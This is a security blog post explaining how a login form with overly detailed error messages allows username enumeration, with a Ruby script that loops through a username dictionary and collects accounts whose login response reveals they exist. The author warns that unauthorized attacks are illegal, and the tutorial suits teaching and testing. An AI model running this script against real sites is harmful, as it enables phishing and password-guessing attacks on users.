Tales from a login page: exploit the form

Last time we introduced the login form as seen on the attacker perspective.

The idea is to have laconic messages on error, not to give too much information to an attacker and sanitize your input wisely to avoid authentication bypass via SQL Injection.

Today we see how to exploit the login form to collect a list of existing usernames on the site. Eventually we will try for very basic password as an optional step.

A vulnerable target

Let’s see we’ve got a web site with an information disclosure problem. Our target gives too much detailed error message when something went wrong during authentication.

With a site like this, we can enumerate existing usernames we can use in a fine target attack (phishing mail campaign, weak password guessing and so on).

If we want also to exploit passwords, what we need is an existing user in order to see the message or the page an authenticated user is redirect to. We need to learn the success case. General purpose websites are happy to register new users, so create one and you will use it later on.

We need also a dictionary of words to use to bruteforce our target, but now it’s time to remind you that…

Attacking a web site without a formal engagement is a crime in almost all countries around the world, yes… even in Italy. You have also to remember that most of organizations have some firewall (to control network access or to protect web access or even both of twos) so eventually you’re attacking attempts will be traced.

Using tor or other proxy anonymizer services won’t help you that much since some of the networks you would use are blacklisted by firewall vendors or network carriers.

Exploiting it

The exploit script core is vert simple. I used a dictionary I found on the Net specially designed for username guessing. I won’t disclose it now, Google is your friend.

The first thing we do is to check the response posting an existing username (the one we just created) with a wrong password and an “hopefully” non existing username to see how the website answers in both cases.

``` ruby check if we can enumerate users wrong_pwd = post(url, username, “caosintheground”).body.gsub(username, ‘canary_username’) wrong_creds = post(url, “caostherapy”, “caosintheground”).body.gsub(“caostherapy”, “canary_username”)

die(“response is the same if the username is good but password wrong or creds are wrong. Can’t bruteforce”) if wrong_pwd == wrong_creds


Then we create an array with usernames if posting a login taken from a dictionary with a very random password we get as answer a wrong password message.

``` ruby creating the array
r= post(url, line, "loremispumhopenobodyintheworldwillreallyusethisaspasswordbutifyoudidityourenotthatsmartasyouthing.4nt4n1")
found << line if r.body == wrong_pwd.gsub("canary_username", line) and found.find_index(line).nil?

The whole script (without some trivial code you may want to write on your own) is the following.

``` ruby enumarating valid usernames on a vulnerable login form @post = true @dictionary = “./popular_users_small.txt” username = val

log(“existing user #{username} used as canary”)

wrong_pwd = post(url, username, “caosintheground”).body.gsub(username, ‘canary_username’) wrong_creds = post(url, “caostherapy”, “caosintheground”).body.gsub(“caostherapy”, “canary_username”)

die(“response is the same if the username is good but password wrong or creds are wrong. Can’t bruteforce”) if wrong_pwd == wrong_creds

die “can’t open #{@dictionary}” unless File.exists?(@dictionary) lines = File.readlines(@dictionary) log(“#{lines.size} words from dictionary loaded”)

found = []

lines.each do |line| @i += 1

begin line = line.chomp.gsub(‘ ‘, ‘-‘).gsub(“à”, “a”).gsub(“è”, “e”).gsub(“é”, “e”).gsub(“ò”, “o”).gsub(“ù”, “u”) rescue Exception => e err(e.message) line = “# discarded” end

if ! line.start_with?(“#”) sleep(@sleep_time) log(“awake… probing with: #{line}”)

r= post(url, line, "loremispumhopenobodyintheworldwillreallyusethisaspasswordbutifyoudidityourenotthatsmartasyouthing.4nt4n1")
found << line if r.body == wrong_pwd.gsub("canary_username", line) and found.find_index(line).nil?   end

end log(“#{found.size} user(s) found”) if found.size != 0 found.each do |user| ok(user) end end helo “shutting down” remove_pid_file Kernel.exit(0) ```

Off by one

As you may see, attacking a web site can be trivial when it gaves too much details. Remember also that you don’t want to attack a web site you are not authorized to. And next time, we will talk about cookies…

Photo courtesy by Fon-tina

comments powered by Disqus